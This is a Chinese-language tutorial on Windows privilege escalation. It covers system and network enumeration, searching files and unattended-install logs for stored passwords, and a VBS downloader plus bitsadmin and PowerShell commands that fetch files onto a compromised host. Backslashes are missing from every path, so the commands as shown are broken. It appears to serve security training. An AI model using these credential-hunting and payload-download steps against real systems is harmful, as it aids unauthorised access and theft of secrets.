作者:Sanr
稿费:200RMB(欢迎投稿!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
介绍
这篇文章是介绍window的权限提升,虽然不是一个全面的指南,但会试图覆盖主要的技术,常用的资源列表在文章底部,可供大家参考。
window权限提升基础知识
初始信息收集
在开始提权之前,我们需要了解操作系统基本的信息,如安装软件,操作系统版本,连接用户,端口进程等信息,
确定操作系统名称和版本
C:Userssanr> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查看主机名
C:Userssanr> hostname
查看所有环境变量
C:Userssanr> SET
查看用户跟用户详细信息
C:Userssanr> net user
C:Userssanr> net user sanr
查看在线用户
C:Userssanr> query user
查询终端端口
C:Userssanr> REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber
网络连接
让我们来看看该系统的网络设置 – 基本网络,路由,防火墙等。
查看ip dns地址
C:Userssanr>ipconfig /all
要查看路由表
C:Userssanr> route print
要查看ARP缓存:
C:Userssanr> arp -A
查看网络连接
C:Userssanr> netstat -ano
要查看防火墙规则:
C:Userssanr> netstat -ano
C:Userssanr> netsh firewall show config
C:Userssanr> netsh firewall show state
应用程序和服务
查看系统上的计划任务
C:Userssanr> schtasks /QUERY /fo LIST /v
要查看服务的进程ID:
C:Userssanr> tasklist /SVC
要查看已安装驱动程序的列表:
C:Userssanr> DRIVERQUERY
查看已经启动Windows 服务
C:Userssanr> net start
查看某服务启动权限
C:Userssanr> sc qc mysqla
[SC] QueryServiceConfig 成功
SERVICE_NAME: mysqla
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "D:Program Filesphpstudymysqlbinmysqld.exe" MySQLa
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MySQLa
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
利用WMIC获取有价值的数据
查看其版本的已安装程序的列表
C:Userssanr> wmic product list brief
查看服务,进程或启动程序的列表:
C:Userssanr> wmic service list brief # Lists services
C:Userssanr> wmic process list brief # Lists processes
C:Userssanr> wmic startup list brief # Lists startup items
检查已安装的更新和安装日期
C:Userssanr> wmic qfe get Caption,Description,HotFixID,InstalledOn
搜索,您可以使用提升权限的特定漏洞
C:Userssanr> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
# Replace with a patch version that you are searching for. Eg - KB3000061
执行上面的命令的没有输出,意味着那个补丁未安装。
敏感数据和directories
检查未加密的密码,或敏感信息的文件多汁:
C:Userssanr> cd/
C:Userssanr> dir /b/s password.txt # Will search for all password.txt files on the filesystem.
C:Userssanr> dir /b/s config.* # Will search for all files starting with 'config' on the filesystem.
C:Userssanr> findstr /si password *.xml *.ini *.txt
C:Userssanr> findstr /si login *.xml *.ini *.txt
除此之外,您还可以检查无人值守安装日志文件。这些文件通常包含base64编码的密码。你更可能在大型企业中,其中单个系统的手动安装是不切实际的找到这些文件。这些文件的共同位置是:
C:sysprep.inf
C:sysprepsysprep.xml
C:WindowsPantherUnattendUnattended.xml
C:WindowsPantherUnattended.xml
目录文件操作
列出d:www的所有目录:
for /d %i in (d:www*) do @echo %i
把当前路径下文件夹的名字只有1-3个字母的显示出来:
for /d %i in (???) do @echo %i
以当前目录为搜索路径,把当前目录与下面的子目录的全部EXE文件列出:
for /r %i in (*.exe) do @echo %i
以指定目录为搜索路径,把当前目录与下面的子目录的所有文件列出
for /r "f:freehosthmadesignweb" %i in (*.*) do @echo %i
显示a.txt里面的内容,因为/f的作用,会读出a.txt中:
for /f %i in (c:1.txt) do echo %i
RAR 打包
C:Userssanr> rar a -k -r -s -m3 c:1.rar c:folde
php读文件
C:Userssanr> c:/php/php.exe "c:/www/admin/1.php"
<?php
$file_handle = fopen("f:/config.asp", "r");
while (! feof($file_handle)) {
echo fgets($file_handle);
}
fclose($file_handle);
?>
利用系统程序,文件下载
拥有了这些信息,我们现在可以开始实际提升我们的特权的过程。
利用vbs来让我们上传文件,是一个vbs下载者,原理是下载文件到这台计算机(需要访问网络):
' downloadfile.vbs
' Set your settings
strFileURL = "http://127.0.0.1/text.ico"
strHDLocation = "d:text.ico"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
这个脚本可以在任何版本的Windows上运行,要执行它,如下。
C:Userssanr> script.exe downloadfile.vbs
如果操作系统是Windows7及以上的,使用的bitsadmin跟powershell:
C:Userssanr> bitsadmin /transfer n http://www.jd.com/favicon.ico d:text.ico
C:Userssanr> powershell (new-object System.Net.WebClient).DownloadFile('http://www.jd.com/favicon.ico','text.ico')
下载文件方式还有一些其他的方式,比如ftp php python,可根据自己的需求来选择。
其他资源
搜索exp跟shellcode
http://seclists.org/fulldisclosure/
http://metasploit.com/modules/
https://cxsecurity.com/exploit/
优秀的文章,工具,资源,指南
rmusser01's GitHub document to Post Exploitation on Windows
Tim Arneaud on Windows Privilege Escalation
Luke Jennings on Group Policy Hijacking Attacks
enaqx – Excellent curated collection of content
Mimikatz – Credential Extraction
GDSSecurity's Windows Exploit Suggester
SpiderLab's Responder – A LLMNR, NBT-NS and MDNS poisoner
PowerShellEmpire's Empire – Pure PowerShell post-exploitation agent
rabbitstack's fibratus – A tool for exploration and tracing of the Windows kernel
还没有评论,来说两句吧...